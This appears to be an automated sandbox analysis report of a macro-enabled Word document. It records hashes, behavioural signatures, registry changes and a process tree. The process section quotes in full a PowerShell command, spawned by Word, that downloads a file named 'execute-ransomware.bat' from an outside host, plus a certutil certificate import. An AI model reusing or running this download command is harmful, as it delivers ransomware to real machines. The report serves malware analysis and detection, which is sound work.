Analysis
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max time kernel
144s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
22-05-2024 20:00
Behavioral task
behavioral1
Sample
68703d8cedb9a7eb60e981edf3139600_JaffaCakes118.docm
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
68703d8cedb9a7eb60e981edf3139600_JaffaCakes118.docm
Resource
win10v2004-20240508-en
General
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Target
68703d8cedb9a7eb60e981edf3139600_JaffaCakes118.docm
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Size
21KB
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MD5
68703d8cedb9a7eb60e981edf3139600
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SHA1
c51afd15c9094315807afa271037295eb001d5f4
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SHA256
7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8
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SHA512
7bb915317720dee5849cbd9e99d8ca1b00ccd84c974f2f8821f7c8c7fda4d4553d589079cebb162a52d021382d81fdb79f4fa1672c90f509f0060392039686ee
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SSDEEP
384:u+LNPhLpJq+XKW/0PeZBhdh9UW5RbbJxfL2GwBobRZfHLM2otMn:u+NPhL/iW82bhz9UsH32NwRZ/IHtq
Malware Config
Extracted
http://www.huikeshoven.net/rWareSample/execute-ransomware.bat
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
certutil.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2820 2912 certutil.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2524 2912 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 2524 powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 2912 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2524 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2524 powershell.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXEpid process 2912 WINWORD.EXE 2912 WINWORD.EXE 2912 WINWORD.EXE 2912 WINWORD.EXE 2912 WINWORD.EXE 2912 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2912 wrote to memory of 2820 2912 WINWORD.EXE certutil.exe PID 2912 wrote to memory of 2820 2912 WINWORD.EXE certutil.exe PID 2912 wrote to memory of 2820 2912 WINWORD.EXE certutil.exe PID 2912 wrote to memory of 2820 2912 WINWORD.EXE certutil.exe PID 2912 wrote to memory of 2524 2912 WINWORD.EXE powershell.exe PID 2912 wrote to memory of 2524 2912 WINWORD.EXE powershell.exe PID 2912 wrote to memory of 2524 2912 WINWORD.EXE powershell.exe PID 2912 wrote to memory of 2524 2912 WINWORD.EXE powershell.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\68703d8cedb9a7eb60e981edf3139600_JaffaCakes118.docm"1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\SysWOW64\certutil.exe"C:\Windows\System32\certutil.exe" -f -p password -importpfx C:\Users\Admin\Downloads\rWareSamples\artifact-testing.pfx2⤵
- Process spawned unexpected child process
PID:2820 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" IEX (New-Object Net.WebClient).DownloadFile('http://www.huikeshoven.net/rWareSample/execute-ransomware.bat', 'C:\Users\Admin\Downloads\execute-ransomware.bat')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2524